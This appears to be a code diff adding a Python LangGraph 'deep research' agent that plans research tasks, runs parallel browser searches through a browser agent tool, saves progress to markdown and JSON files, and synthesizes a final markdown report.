+            f"Error during browser task for query '{task_query}': {e}", exc_info=True
+        )
+        return {"query": task_query, "error": str(e), "status": "failed"}
+    finally:
+        if bu_browser_context:
+            try:
+                await bu_browser_context.close()
+                bu_browser_context = None
+                logger.info("Closed browser context.")
+            except Exception as e:
+                logger.error(f"Error closing browser context: {e}")
+        if bu_browser:
+            try:
+                await bu_browser.close()
+                bu_browser = None
+                logger.info("Closed browser.")
+            except Exception as e:
+                logger.error(f"Error closing browser: {e}")
+
+        if task_key in _BROWSER_AGENT_INSTANCES:
+            del _BROWSER_AGENT_INSTANCES[task_key]
+
+
+class BrowserSearchInput(BaseModel):
+    queries: List[str] = Field(
+        description="List of distinct search queries to find information relevant to the research task."
+    )
+
+
+async def _run_browser_search_tool(
+        queries: List[str],
+        task_id: str,  # Injected dependency
+        llm: Any,  # Injected dependency
+        browser_config: Dict[str, Any],
+        stop_event: threading.Event,
+        max_parallel_browsers: int = 1,
+) -> List[Dict[str, Any]]:
+    """
+    Internal function to execute parallel browser searches based on LLM-provided queries.
+    Handles concurrency and stop signals.
+    """
+
+    # Limit queries just in case LLM ignores the description
+    queries = queries[:max_parallel_browsers]
+    logger.info(
+        f"[Browser Tool {task_id}] Running search for {len(queries)} queries: {queries}"
+    )
+
+    results = []
+    semaphore = asyncio.Semaphore(max_parallel_browsers)
+
+    async def task_wrapper(query):
+        async with semaphore:
+            if stop_event.is_set():
+                logger.info(
+                    f"[Browser Tool {task_id}] Skipping task due to stop signal: {query}"
+                )
+                return {"query": query, "result": None, "status": "cancelled"}
+            # Pass necessary injected configs and the stop event
+            return await run_single_browser_task(
+                query,
+                task_id,
+                llm,  # Pass the main LLM (or a dedicated one if needed)
+                browser_config,
+                stop_event,
+                # use_vision could be added here if needed
+            )
+
+    tasks = [task_wrapper(query) for query in queries]
+    search_results = await asyncio.gather(*tasks, return_exceptions=True)
+
+    processed_results = []
+    for i, res in enumerate(search_results):
+        query = queries[i]  # Get corresponding query
+        if isinstance(res, Exception):
+            logger.error(
+                f"[Browser Tool {task_id}] Gather caught exception for query '{query}': {res}",
+                exc_info=True,
+            )
+            processed_results.append(
+                {"query": query, "error": str(res), "status": "failed"}
+            )
+        elif isinstance(res, dict):
+            processed_results.append(res)
+        else:
+            logger.error(
+                f"[Browser Tool {task_id}] Unexpected result type for query '{query}': {type(res)}"
+            )
+            processed_results.append(
+                {"query": query, "error": "Unexpected result type", "status": "failed"}
+            )
+
+    logger.info(
+        f"[Browser Tool {task_id}] Finished search. Results count: {len(processed_results)}"
+    )
+    return processed_results
+
+
+def create_browser_search_tool(
+        llm: Any,
+        browser_config: Dict[str, Any],
+        task_id: str,
+        stop_event: threading.Event,
+        max_parallel_browsers: int = 1,
+) -> StructuredTool:
+    """Factory function to create the browser search tool with necessary dependencies."""
+    # Use partial to bind the dependencies that aren't part of the LLM call arguments
+    from functools import partial
+
+    bound_tool_func = partial(
+        _run_browser_search_tool,
+        task_id=task_id,
+        llm=llm,
+        browser_config=browser_config,
+        stop_event=stop_event,
+        max_parallel_browsers=max_parallel_browsers,
+    )
+
+    return StructuredTool.from_function(
+        coroutine=bound_tool_func,
+        name="parallel_browser_search",
+        description=f"""Use this tool to actively search the web for information related to a specific research task or question.
+It runs up to {max_parallel_browsers} searches in parallel using a browser agent for better results than simple scraping.
+Provide a list of distinct search queries(up to {max_parallel_browsers}) that are likely to yield relevant information.""",
+        args_schema=BrowserSearchInput,
+    )
+
+
+# --- Langgraph State Definition ---
+
+
+class ResearchTaskItem(TypedDict):
+    # step: int # Maybe step within category, or just implicit by order
+    task_description: str
+    status: str  # "pending", "completed", "failed"
+    queries: Optional[List[str]]
+    result_summary: Optional[str]
+
+
+class ResearchCategoryItem(TypedDict):
+    category_name: str
+    tasks: List[ResearchTaskItem]
+    # Optional: category_status: str # Could be "pending", "in_progress", "completed"
+
+
+class DeepResearchState(TypedDict):
+    task_id: str
+    topic: str
+    research_plan: List[ResearchCategoryItem]  # CHANGED
+    search_results: List[Dict[str, Any]]
+    llm: Any
+    tools: List[Tool]
+    output_dir: Path
+    browser_config: Dict[str, Any]
+    final_report: Optional[str]
+    current_category_index: int
+    current_task_index_in_category: int
+    stop_requested: bool
+    error_message: Optional[str]
+    messages: List[BaseMessage]
+
+
+# --- Langgraph Nodes ---
+
+
+def _load_previous_state(task_id: str, output_dir: str) -> Dict[str, Any]:
+    state_updates = {}
+    plan_file = os.path.join(output_dir, PLAN_FILENAME)
+    search_file = os.path.join(output_dir, SEARCH_INFO_FILENAME)
+
+    loaded_plan: List[ResearchCategoryItem] = []
+    next_cat_idx, next_task_idx = 0, 0
+    found_pending = False
+
+    if os.path.exists(plan_file):
+        try:
+            with open(plan_file, "r", encoding="utf-8") as f:
+                current_category: Optional[ResearchCategoryItem] = None
+                lines = f.readlines()
+                cat_counter = 0
+                task_counter_in_cat = 0
+
+                for line_num, line_content in enumerate(lines):
+                    line = line_content.strip()
+                    if line.startswith("## "):  # Category
+                        if current_category:  # Save previous category
+                            loaded_plan.append(current_category)
+                            if not found_pending:  # If previous category was all done, advance cat counter
+                                cat_counter += 1
+                                task_counter_in_cat = 0
+                        category_name = line[line.find(" "):].strip()  # Get text after "## X. "
+                        current_category = ResearchCategoryItem(category_name=category_name, tasks=[])
+                    elif (line.startswith("- [ ]") or line.startswith("- [x]") or line.startswith(
+                            "- [-]")) and current_category:  # Task
+                        status = "pending"
+                        if line.startswith("- [x]"):
+                            status = "completed"
+                        elif line.startswith("- [-]"):
+                            status = "failed"
+
+                        task_desc = line[5:].strip()
+                        current_category["tasks"].append(
+                            ResearchTaskItem(task_description=task_desc, status=status, queries=None,
+                                             result_summary=None)
+                        )
+                        if status == "pending" and not found_pending:
+                            next_cat_idx = cat_counter
+                            next_task_idx = task_counter_in_cat
+                            found_pending = True
+                        if not found_pending:  # only increment if previous tasks were completed/failed
+                            task_counter_in_cat += 1
+
+                if current_category:  # Append last category
+                    loaded_plan.append(current_category)
+
+            if loaded_plan:
+                state_updates["research_plan"] = loaded_plan
+                if not found_pending and loaded_plan:  # All tasks were completed or failed
+                    next_cat_idx = len(loaded_plan)  # Points beyond the last category
+                    next_task_idx = 0
+                state_updates["current_category_index"] = next_cat_idx
+                state_updates["current_task_index_in_category"] = next_task_idx
+                logger.info(
+                    f"Loaded hierarchical research plan from {plan_file}. "
+                    f"Next task: Category {next_cat_idx}, Task {next_task_idx} in category."
+                )
+            else:
+                logger.warning(f"Plan file {plan_file} was empty or malformed.")
+
+        except Exception as e:
+            logger.error(f"Failed to load or parse research plan {plan_file}: {e}", exc_info=True)
+            state_updates["error_message"] = f"Failed to load research plan: {e}"
+    else:
+        logger.info(f"Plan file {plan_file} not found. Will start fresh.")
+
+    if os.path.exists(search_file):
+        try:
+            with open(search_file, "r", encoding="utf-8") as f:
+                state_updates["search_results"] = json.load(f)
+                logger.info(f"Loaded search results from {search_file}")
+        except Exception as e:
+            logger.error(f"Failed to load search results {search_file}: {e}")
+            state_updates["error_message"] = (
+                    state_updates.get("error_message", "") + f" Failed to load search results: {e}").strip()
+
+    return state_updates
+
+
+def _save_plan_to_md(plan: List[ResearchCategoryItem], output_dir: str):
+    plan_file = os.path.join(output_dir, PLAN_FILENAME)
+    try:
+        with open(plan_file, "w", encoding="utf-8") as f:
+            f.write(f"# Research Plan\n\n")
+            for cat_idx, category in enumerate(plan):
+                f.write(f"## {cat_idx + 1}. {category['category_name']}\n\n")
+                for task_idx, task in enumerate(category['tasks']):
+                    marker = "- [x]" if task["status"] == "completed" else "- [ ]" if task[
+                                                                                          "status"] == "pending" else "- [-]"  # [-] for failed
+                    f.write(f"  {marker} {task['task_description']}\n")
+                f.write("\n")
+        logger.info(f"Hierarchical research plan saved to {plan_file}")
+    except Exception as e:
+        logger.error(f"Failed to save research plan to {plan_file}: {e}")
+
+
+def _save_search_results_to_json(results: List[Dict[str, Any]], output_dir: str):
+    """Appends or overwrites search results to a JSON file."""
+    search_file = os.path.join(output_dir, SEARCH_INFO_FILENAME)
+    try:
+        # Simple overwrite for now, could be append
+        with open(search_file, "w", encoding="utf-8") as f:
+            json.dump(results, f, indent=2, ensure_ascii=False)
+        logger.info(f"Search results saved to {search_file}")
+    except Exception as e:
+        logger.error(f"Failed to save search results to {search_file}: {e}")
+
+
+def _save_report_to_md(report: str, output_dir: Path):
+    """Saves the final report to a markdown file."""
+    report_file = os.path.join(output_dir, REPORT_FILENAME)
+    try:
+        with open(report_file, "w", encoding="utf-8") as f:
+            f.write(report)
+        logger.info(f"Final report saved to {report_file}")
+    except Exception as e:
+        logger.error(f"Failed to save final report to {report_file}: {e}")
+
+
+async def planning_node(state: DeepResearchState) -> Dict[str, Any]:
+    logger.info("--- Entering Planning Node ---")
+    if state.get("stop_requested"):
+        logger.info("Stop requested, skipping planning.")
+        return {"stop_requested": True}
+
+    llm = state["llm"]
+    topic = state["topic"]
+    existing_plan = state.get("research_plan")
+    output_dir = state["output_dir"]
+
+    if existing_plan and (
+            state.get("current_category_index", 0) > 0 or state.get("current_task_index_in_category", 0) > 0):
+        logger.info("Resuming with existing plan.")
+        _save_plan_to_md(existing_plan, output_dir)  # Ensure it's saved initially
+        # current_category_index and current_task_index_in_category should be set by _load_previous_state
+        return {"research_plan": existing_plan}
+
+    logger.info(f"Generating new research plan for topic: {topic}")
+
+    prompt_text = f"""You are a meticulous research assistant. Your goal is to create a hierarchical research plan to thoroughly investigate the topic: "{topic}".
+The plan should be structured into several main research categories. Each category should contain a list of specific, actionable research tasks or questions.
+Format the output as a JSON list of objects. Each object represents a research category and should have:
+1. "category_name": A string for the name of the research category.
+2. "tasks": A list of strings, where each string is a specific research task for that category.
+
+Example JSON Output:
+[
+  {{
+    "category_name": "Understanding Core Concepts and Definitions",
+    "tasks": [
+      "Define the primary terminology associated with '{topic}'.",
+      "Identify the fundamental principles and theories underpinning '{topic}'."
+    ]
+  }},
+  {{
+    "category_name": "Historical Development and Key Milestones",
+    "tasks": [
+      "Trace the historical evolution of '{topic}'.",
+      "Identify key figures, events, or breakthroughs in the development of '{topic}'."
+    ]
+  }},
+  {{
+    "category_name": "Current State-of-the-Art and Applications",
+    "tasks": [
+      "Analyze the current advancements and prominent applications of '{topic}'.",
+      "Investigate ongoing research and active areas of development related to '{topic}'."
+    ]
+  }},
+  {{
+    "category_name": "Challenges, Limitations, and Future Outlook",
+    "tasks": [
+      "Identify the major challenges and limitations currently facing '{topic}'.",
+      "Explore potential future trends, ethical considerations, and societal impacts of '{topic}'."
+    ]
+  }}
+]
+
+Generate a plan with 3-10 categories, and 2-6 tasks per category for the topic: "{topic}" according to the complexity of the topic.
+Ensure the output is a valid JSON array.
+"""
+    messages = [
+        SystemMessage(content="You are a research planning assistant outputting JSON."),
+        HumanMessage(content=prompt_text)
+    ]
+
+    try:
+        response = await llm.ainvoke(messages)
+        raw_content = response.content
+        # The LLM might wrap the JSON in backticks
+        if raw_content.strip().startswith("```json"):
+            raw_content = raw_content.strip()[7:-3].strip()
+        elif raw_content.strip().startswith("```"):
+            raw_content = raw_content.strip()[3:-3].strip()
+
+        logger.debug(f"LLM response for plan: {raw_content}")
+        parsed_plan_from_llm = json.loads(raw_content)
+
+        new_plan: List[ResearchCategoryItem] = []
+        for cat_idx, category_data in enumerate(parsed_plan_from_llm):
+            if not isinstance(category_data,
+                              dict) or "category_name" not in category_data or "tasks" not in category_data:
+                logger.warning(f"Skipping invalid category data: {category_data}")
+                continue
+
+            tasks: List[ResearchTaskItem] = []
+            for task_idx, task_desc in enumerate(category_data["tasks"]):
+                if isinstance(task_desc, str):
+                    tasks.append(
+                        ResearchTaskItem(
+                            task_description=task_desc,
+                            status="pending",
+                            queries=None,
+                            result_summary=None,
+                        )
+                    )
+                else:  # Sometimes LLM puts tasks as {"task": "description"}
+                    if isinstance(task_desc, dict) and "task_description" in task_desc:
+                        tasks.append(
+                            ResearchTaskItem(
+                                task_description=task_desc["task_description"],
+                                status="pending",
+                                queries=None,
+                                result_summary=None,
+                            )
+                        )
+                    elif isinstance(task_desc, dict) and "task" in task_desc:  # common LLM mistake
+                        tasks.append(
+                            ResearchTaskItem(
+                                task_description=task_desc["task"],
+                                status="pending",
+                                queries=None,
+                                result_summary=None,
+                            )
+                        )
+                    else:
+                        logger.warning(
+                            f"Skipping invalid task data: {task_desc} in category {category_data['category_name']}")
+
+            new_plan.append(
+                ResearchCategoryItem(
+                    category_name=category_data["category_name"],
+                    tasks=tasks,
+                )
+            )
+
+        if not new_plan:
+            logger.error("LLM failed to generate a valid plan structure from JSON.")
+            return {"error_message": "Failed to generate research plan structure."}
+
+        logger.info(f"Generated research plan with {len(new_plan)} categories.")
+        _save_plan_to_md(new_plan, output_dir)  # Save the hierarchical plan
+
+        return {
+            "research_plan": new_plan,
+            "current_category_index": 0,
+            "current_task_index_in_category": 0,
+            "search_results": [],
+        }
+
+    except json.JSONDecodeError as e:
+        logger.error(f"Failed to parse JSON from LLM for plan: {e}. Response was: {raw_content}", exc_info=True)
+        return {"error_message": f"LLM generated invalid JSON for research plan: {e}"}
+    except Exception as e:
+        logger.error(f"Error during planning: {e}", exc_info=True)
+        return {"error_message": f"LLM Error during planning: {e}"}
+
+
+async def research_execution_node(state: DeepResearchState) -> Dict[str, Any]:
+    logger.info("--- Entering Research Execution Node ---")
+    if state.get("stop_requested"):
+        logger.info("Stop requested, skipping research execution.")
+        return {
+            "stop_requested": True,
+            "current_category_index": state["current_category_index"],
+            "current_task_index_in_category": state["current_task_index_in_category"],
+        }
+
+    plan = state["research_plan"]
+    cat_idx = state["current_category_index"]
+    task_idx = state["current_task_index_in_category"]
+    llm = state["llm"]
+    tools = state["tools"]
+    output_dir = str(state["output_dir"])
+    task_id = state["task_id"]  # For _AGENT_STOP_FLAGS
+
+    # This check should ideally be handled by `should_continue`
+    if not plan or cat_idx >= len(plan):
+        logger.info("Research plan complete or categories exhausted.")
+        return {}  # should route to synthesis
+
+    current_category = plan[cat_idx]
+    if task_idx >= len(current_category["tasks"]):
+        logger.info(f"All tasks in category '{current_category['category_name']}' completed. Moving to next category.")
+        # This logic is now effectively handled by should_continue and the index updates below
+        # The next iteration will be caught by should_continue or this node with updated indices
+        return {
+            "current_category_index": cat_idx + 1,
+            "current_task_index_in_category": 0,
+            "messages": state["messages"]  # Pass messages along
+        }
+
+    current_task = current_category["tasks"][task_idx]
+
+    if current_task["status"] == "completed":
+        logger.info(
+            f"Task '{current_task['task_description']}' in category '{current_category['category_name']}' already completed. Skipping.")
+        # Logic to find next task
+        next_task_idx = task_idx + 1
+        next_cat_idx = cat_idx
+        if next_task_idx >= len(current_category["tasks"]):
+            next_cat_idx += 1
+            next_task_idx = 0
+        return {
+            "current_category_index": next_cat_idx,
+            "current_task_index_in_category": next_task_idx,
+            "messages": state["messages"]  # Pass messages along
+        }
+
+    logger.info(
+        f"Executing research task: '{current_task['task_description']}' (Category: '{current_category['category_name']}')"
+    )
+
+    llm_with_tools = llm.bind_tools(tools)
+
+    # Construct messages for LLM invocation
+    task_prompt_content = (
+        f"Current Research Category: {current_category['category_name']}\n"
+        f"Specific Task: {current_task['task_description']}\n\n"
+        "Please use the available tools, especially 'parallel_browser_search', to gather information for this specific task. "
+        "Provide focused search queries relevant ONLY to this task. "
+        "If you believe you have sufficient information from previous steps for this specific task, you can indicate that you are ready to summarize or that no further search is needed."
+    )
+    current_task_message_history = [
+        HumanMessage(content=task_prompt_content)
+    ]
+    if not state["messages"]:  # First actual execution message
+        invocation_messages = [
+                                  SystemMessage(
+                                      content="You are a research assistant executing one task of a research plan. Focus on the current task only."),
+                              ] + current_task_message_history
+    else:
+        invocation_messages = state["messages"] + current_task_message_history
+
+    try:
+        logger.info(f"Invoking LLM with tools for task: {current_task['task_description']}")
+        ai_response: BaseMessage = await llm_with_tools.ainvoke(invocation_messages)
+        logger.info("LLM invocation complete.")
+
+        tool_results = []
+        executed_tool_names = []
+        current_search_results = state.get("search_results", [])  # Get existing search results
+
+        if not isinstance(ai_response, AIMessage) or not ai_response.tool_calls:
+            logger.warning(
+                f"LLM did not call any tool for task '{current_task['task_description']}'. Response: {ai_response.content[:100]}..."
+            )
+            current_task["status"] = "pending"  # Or "completed_no_tool" if LLM explains it's done
+            current_task["result_summary"] = f"LLM did not use a tool. Response: {ai_response.content}"
+            current_task["current_category_index"] = cat_idx
+            current_task["current_task_index_in_category"] = task_idx
+            return current_task
+            # We still save the plan and advance.
+        else:
+            # Process tool calls
+            for tool_call in ai_response.tool_calls:
+                tool_name = tool_call.get("name")
+                tool_args = tool_call.get("args", {})
+                tool_call_id = tool_call.get("id")
+
+                logger.info(f"LLM requested tool call: {tool_name} with args: {tool_args}")
+                executed_tool_names.append(tool_name)
+                selected_tool = next((t for t in tools if t.name == tool_name), None)
+
+                if not selected_tool:
+                    logger.error(f"LLM called tool '{tool_name}' which is not available.")
+                    tool_results.append(
+                        ToolMessage(content=f"Error: Tool '{tool_name}' not found.", tool_call_id=tool_call_id))
+                    continue
+
+                try:
+                    stop_event = _AGENT_STOP_FLAGS.get(task_id)
+                    if stop_event and stop_event.is_set():
+                        logger.info(f"Stop requested before executing tool: {tool_name}")
+                        current_task["status"] = "pending"  # Or a new "stopped" status
+                        _save_plan_to_md(plan, output_dir)
+                        return {"stop_requested": True, "research_plan": plan, "current_category_index": cat_idx,
+                                "current_task_index_in_category": task_idx}
+
+                    logger.info(f"Executing tool: {tool_name}")
+                    tool_output = await selected_tool.ainvoke(tool_args)
+                    logger.info(f"Tool '{tool_name}' executed successfully.")
+
+                    if tool_name == "parallel_browser_search":
+                        current_search_results.extend(tool_output)  # tool_output is List[Dict]
+                    else:  # For other tools, we might need specific handling or just log
+                        logger.info(f"Result from tool '{tool_name}': {str(tool_output)[:200]}...")
+                        # Storing non-browser results might need a different structure or key in search_results
+                        current_search_results.append(
+                            {"tool_name": tool_name, "args": tool_args, "output": str(tool_output),
+                             "status": "completed"})
+
+                    tool_results.append(ToolMessage(content=json.dumps(tool_output), tool_call_id=tool_call_id))
+
+                except Exception as e:
+                    logger.error(f"Error executing tool '{tool_name}': {e}", exc_info=True)
+                    tool_results.append(
+                        ToolMessage(content=f"Error executing tool {tool_name}: {e}", tool_call_id=tool_call_id))
+                    current_search_results.append(
+                        {"tool_name": tool_name, "args": tool_args, "status": "failed", "error": str(e)})
+
+            # After processing all tool calls for this task
+            step_failed_tool_execution = any("Error:" in str(tr.content) for tr in tool_results)
+            # Consider a task successful if a browser search was attempted and didn't immediately error out during call
+            # The browser search itself returns status for each query.
+            browser_tool_attempted_successfully = "parallel_browser_search" in executed_tool_names and not step_failed_tool_execution
+
+            if step_failed_tool_execution:
+                current_task["status"] = "failed"
+                current_task[
+                    "result_summary"] = f"Tool execution failed. Errors: {[tr.content for tr in tool_results if 'Error' in str(tr.content)]}"
+            elif executed_tool_names:  # If any tool was called
+                current_task["status"] = "completed"
+                current_task["result_summary"] = f"Executed tool(s): {', '.join(executed_tool_names)}."
+                # TODO: Could ask LLM to summarize the tool_results for this task if needed, rather than just listing tools.
+            else:  # No tool calls but AI response had .tool_calls structure (empty)
+                current_task["status"] = "failed"  # Or a more specific status
+                current_task["result_summary"] = "LLM prepared for tool call but provided no tools."
+
+        # Save progress
+        _save_plan_to_md(plan, output_dir)
+        _save_search_results_to_json(current_search_results, output_dir)
+
+        # Determine next indices
+        next_task_idx = task_idx + 1
+        next_cat_idx = cat_idx
+        if next_task_idx >= len(current_category["tasks"]):
+            next_cat_idx += 1
+            next_task_idx = 0
+
+        updated_messages = state["messages"] + current_task_message_history + [ai_response] + tool_results
+
+        return {
+            "research_plan": plan,
+            "search_results": current_search_results,
+            "current_category_index": next_cat_idx,
+            "current_task_index_in_category": next_task_idx,
+            "messages": updated_messages,
+        }
+
+    except Exception as e:
+        logger.error(f"Unhandled error during research execution for task '{current_task['task_description']}': {e}",
+                     exc_info=True)
+        current_task["status"] = "failed"
+        _save_plan_to_md(plan, output_dir)
+        # Determine next indices even on error to attempt to move on
+        next_task_idx = task_idx + 1
+        next_cat_idx = cat_idx
+        if next_task_idx >= len(current_category["tasks"]):
+            next_cat_idx += 1
+            next_task_idx = 0
+        return {
+            "research_plan": plan,
+            "current_category_index": next_cat_idx,
+            "current_task_index_in_category": next_task_idx,
+            "error_message": f"Core Execution Error on task '{current_task['task_description']}': {e}",
+            "messages": state["messages"] + current_task_message_history  # Preserve messages up to error
+        }
+
+
+async def synthesis_node(state: DeepResearchState) -> Dict[str, Any]:
+    """Synthesizes the final report from the collected search results."""
+    logger.info("--- Entering Synthesis Node ---")
+    if state.get("stop_requested"):
+        logger.info("Stop requested, skipping synthesis.")
+        return {"stop_requested": True}
+
+    llm = state["llm"]
+    topic = state["topic"]
+    search_results = state.get("search_results", [])
+    output_dir = state["output_dir"]
+    plan = state["research_plan"]  # Include plan for context
+
+    if not search_results:
+        logger.warning("No search results found to synthesize report.")
+        report = f"# Research Report: {topic}\n\nNo information was gathered during the research process."
+        _save_report_to_md(report, output_dir)
+        return {"final_report": report}
+
+    logger.info(
+        f"Synthesizing report from {len(search_results)} collected search result entries."
+    )
+
+    # Prepare context for the LLM
+    # Format search results nicely, maybe group by query or original plan step
+    formatted_results = ""
+    references = {}
+    ref_count = 1
+    for i, result_entry in enumerate(search_results):
+        query = result_entry.get("query", "Unknown Query")  # From parallel_browser_search
+        tool_name = result_entry.get("tool_name")  # From other tools
+        status = result_entry.get("status", "unknown")
+        result_data = result_entry.get("result")  # From BrowserUseAgent's final_result
+        tool_output_str = result_entry.get("output")  # From other tools
+
+        if tool_name == "parallel_browser_search" and status == "completed" and result_data:
+            # result_data is the summary from BrowserUseAgent
+            formatted_results += f'### Finding from Web Search Query: "{query}"\n'
+            formatted_results += f"- **Summary:**\n{result_data}\n"  # result_data is already a summary string here
+            # If result_data contained title/URL, you'd format them here.
+            # The current BrowserUseAgent returns a string summary directly as 'final_data' in run_single_browser_task
+            formatted_results += "---\n"
+        elif tool_name != "parallel_browser_search" and status == "completed" and tool_output_str:
+            formatted_results += f'### Finding from Tool: "{tool_name}" (Args: {result_entry.get("args")})\n'
+            formatted_results += f"- **Output:**\n{tool_output_str}\n"
+            formatted_results += "---\n"
+        elif status == "failed":
+            error = result_entry.get("error")
+            q_or_t = f"Query: \"{query}\"" if query != "Unknown Query" else f"Tool: \"{tool_name}\""
+            formatted_results += f'### Failed {q_or_t}\n'
+            formatted_results += f"- **Error:** {error}\n"
+            formatted_results += "---\n"
+
+    # Prepare the research plan context
+    plan_summary = "\nResearch Plan Followed:\n"
+    for cat_idx, category in enumerate(plan):
+        plan_summary += f"\n#### Category {cat_idx + 1}: {category['category_name']}\n"
+        for task_idx, task in enumerate(category['tasks']):
+            marker = "[x]" if task["status"] == "completed" else "[ ]" if task["status"] == "pending" else "[-]"
+            plan_summary += f"  - {marker} {task['task_description']}\n"
+
+    synthesis_prompt = ChatPromptTemplate.from_messages(
+        [
+            (
+                "system",
+                """You are a professional researcher tasked with writing a comprehensive and well-structured report based on collected findings.
+        The report should address the research topic thoroughly, synthesizing the information gathered from various sources.
+        Structure the report logically:
+        1.  Briefly introduce the topic and the report's scope (mentioning the research plan followed, including categories and tasks, is good).
+        2.  Discuss the key findings, organizing them thematically, possibly aligning with the research categories. Analyze, compare, and contrast information.
+        3.  Summarize the main points and offer concluding thoughts.
+
+        Ensure the tone is objective and professional.
+        If findings are contradictory or incomplete, acknowledge this.
+        """,  # Removed citation part for simplicity for now, as browser agent returns summaries.
+            ),
+            (
+                "human",
+                f"""
+            **Research Topic:** {topic}
+
+            {plan_summary}
+
+            **Collected Findings:**
+            ```
+            {formatted_results}
+            ```
+
+            Please generate the final research report in Markdown format based **only** on the information above.
+            """,
+            ),
+        ]
+    )
+
+    try:
+        response = await llm.ainvoke(
+            synthesis_prompt.format_prompt(
+                topic=topic,
+                plan_summary=plan_summary,
+                formatted_results=formatted_results,
+            ).to_messages()
+        )
+        final_report_md = response.content
+
+        # Append the reference list automatically to the end of the generated markdown
+        if references:
+            report_references_section = "\n\n## References\n\n"
+            # Sort refs by ID for consistent output
+            sorted_refs = sorted(references.values(), key=lambda x: x["id"])
+            for ref in sorted_refs:
+                report_references_section += (
+                    f"[{ref['id']}] {ref['title']} - {ref['url']}\n"
+                )
+            final_report_md += report_references_section
+
+        logger.info("Successfully synthesized the final report.")
+        _save_report_to_md(final_report_md, output_dir)
+        return {"final_report": final_report_md}
+
+    except Exception as e:
+        logger.error(f"Error during report synthesis: {e}", exc_info=True)
+        return {"error_message": f"LLM Error during synthesis: {e}"}
+
+
+# --- Langgraph Edges and Conditional Logic ---
+
+
+def should_continue(state: DeepResearchState) -> str:
+    logger.info("--- Evaluating Condition: Should Continue? ---")
+    if state.get("stop_requested"):
+        logger.info("Stop requested, routing to END.")
+        return "end_run"
+    if state.get("error_message") and "Core Execution Error" in state["error_message"]:  # Critical error in node
+        logger.warning(f"Critical error detected: {state['error_message']}. Routing to END.")
+        return "end_run"
+
+    plan = state.get("research_plan")
+    cat_idx = state.get("current_category_index", 0)
+    task_idx = state.get("current_task_index_in_category", 0)  # This is the *next* task to check
+
+    if not plan:
+        logger.warning("No research plan found. Routing to END.")
+        return "end_run"
+
+    # Check if the current indices point to a valid pending task
+    if cat_idx < len(plan):
+        current_category = plan[cat_idx]
+        if task_idx < len(current_category["tasks"]):
+            # We are trying to execute the task at plan[cat_idx]["tasks"][task_idx]
+            # The research_execution_node will handle if it's already completed.
+            logger.info(
+                f"Plan has potential pending tasks (next up: Category {cat_idx}, Task {task_idx}). Routing to Research Execution."
+            )
+            return "execute_research"
+        else:  # task_idx is out of bounds for current category, means we need to check next category
+            if cat_idx + 1 < len(plan):  # If there is a next category
+                logger.info(
+                    f"Finished tasks in category {cat_idx}. Moving to category {cat_idx + 1}. Routing to Research Execution."
+                )
+                # research_execution_node will update state to {current_category_index: cat_idx + 1, current_task_index_in_category: 0}
+                # Or rather, the previous execution node already set these indices to the start of the next category.
+                return "execute_research"
+
+    # If we've gone through all categories and tasks (cat_idx >= len(plan))
+    logger.info("All plan categories and tasks processed or current indices are out of bounds. Routing to Synthesis.")
+    return "synthesize_report"
+
+
+# --- DeepSearchAgent Class ---
+
+
+class DeepResearchAgent:
+    def __init__(
+            self,
+            llm: Any,
+            browser_config: Dict[str, Any],
+            mcp_server_config: Optional[Dict[str, Any]] = None,
+    ):
+        """
+        Initializes the DeepSearchAgent.
+
+        Args:
+            llm: The Langchain compatible language model instance.
+            browser_config: Configuration dictionary for the BrowserUseAgent tool.
+                            Example: {"headless": True, "window_width": 1280, ...}
+            mcp_server_config: Optional configuration for the MCP client.
+        """
+        self.llm = llm
+        self.browser_config = browser_config
+        self.mcp_server_config = mcp_server_config
+        self.mcp_client = None
+        self.stopped = False
+        self.graph = self._compile_graph()
+        self.current_task_id: Optional[str] = None
+        self.stop_event: Optional[threading.Event] = None
+        self.runner: Optional[asyncio.Task] = None  # To hold the asyncio task for run
+
+    async def _setup_tools(
+            self, task_id: str, stop_event: threading.Event, max_parallel_browsers: int = 1
+    ) -> List[Tool]:
+        """Sets up the basic tools (File I/O) and optional MCP tools."""
+        tools = [
+            WriteFileTool(),
+            ReadFileTool(),
+            ListDirectoryTool(),
+        ]  # Basic file operations
+        browser_use_tool = create_browser_search_tool(
+            llm=self.llm,
+            browser_config=self.browser_config,
+            task_id=task_id,
+            stop_event=stop_event,
+            max_parallel_browsers=max_parallel_browsers,
+        )
+        tools += [browser_use_tool]
+        # Add MCP tools if config is provided
+        if self.mcp_server_config:
+            try:
+                logger.info("Setting up MCP client and tools...")
+                if not self.mcp_client:
+                    self.mcp_client = await setup_mcp_client_and_tools(
+                        self.mcp_server_config
+                    )
+                mcp_tools = self.mcp_client.get_tools()
+                logger.info(f"Loaded {len(mcp_tools)} MCP tools.")
+                tools.extend(mcp_tools)
+            except Exception as e:
+                logger.error(f"Failed to set up MCP tools: {e}", exc_info=True)
+        elif self.mcp_server_config:
+            logger.warning(
+                "MCP server config provided, but setup function unavailable."
+            )
+        tools_map = {tool.name: tool for tool in tools}
+        return tools_map.values()
+
+    async def close_mcp_client(self):
+        if self.mcp_client:
+            await self.mcp_client.__aexit__(None, None, None)
+            self.mcp_client = None
+
+    def _compile_graph(self) -> StateGraph:
+        """Compiles the Langgraph state machine."""
+        workflow = StateGraph(DeepResearchState)
+
+        # Add nodes
+        workflow.add_node("plan_research", planning_node)
+        workflow.add_node("execute_research", research_execution_node)
+        workflow.add_node("synthesize_report", synthesis_node)
+        workflow.add_node(
+            "end_run", lambda state: logger.info("--- Reached End Run Node ---") or {}
+        )  # Simple end node
+
+        # Define edges
+        workflow.set_entry_point("plan_research")
+
+        workflow.add_edge(
+            "plan_research", "execute_research"
+        )  # Always execute after planning
+
+        # Conditional edge after execution
+        workflow.add_conditional_edges(
+            "execute_research",
+            should_continue,
+            {
+                "execute_research": "execute_research",  # Loop back if more steps
+                "synthesize_report": "synthesize_report",  # Move to synthesis if done
+                "end_run": "end_run",  # End if stop requested or error
+            },
+        )
+
+        workflow.add_edge("synthesize_report", "end_run")  # End after synthesis
+
+        app = workflow.compile()
+        return app
+
+    async def run(
+            self,
+            topic: str,
+            task_id: Optional[str] = None,
+            save_dir: str = "./tmp/deep_research",
+            max_parallel_browsers: int = 1,
+    ) -> Dict[str, Any]:
+        """
+        Starts the deep research process (Async Generator Version).
+
+        Args:
+            topic: The research topic.
+            task_id: Optional existing task ID to resume. If None, a new ID is generated.
+
+        Yields:
+             Intermediate state updates or messages during execution.
+        """
+        if self.runner and not self.runner.done():
+            logger.warning(
+                "Agent is already running. Please stop the current task first."
+            )
+            # Return an error status instead of yielding
+            return {
+                "status": "error",
+                "message": "Agent already running.",
+                "task_id": self.current_task_id,
+            }
+
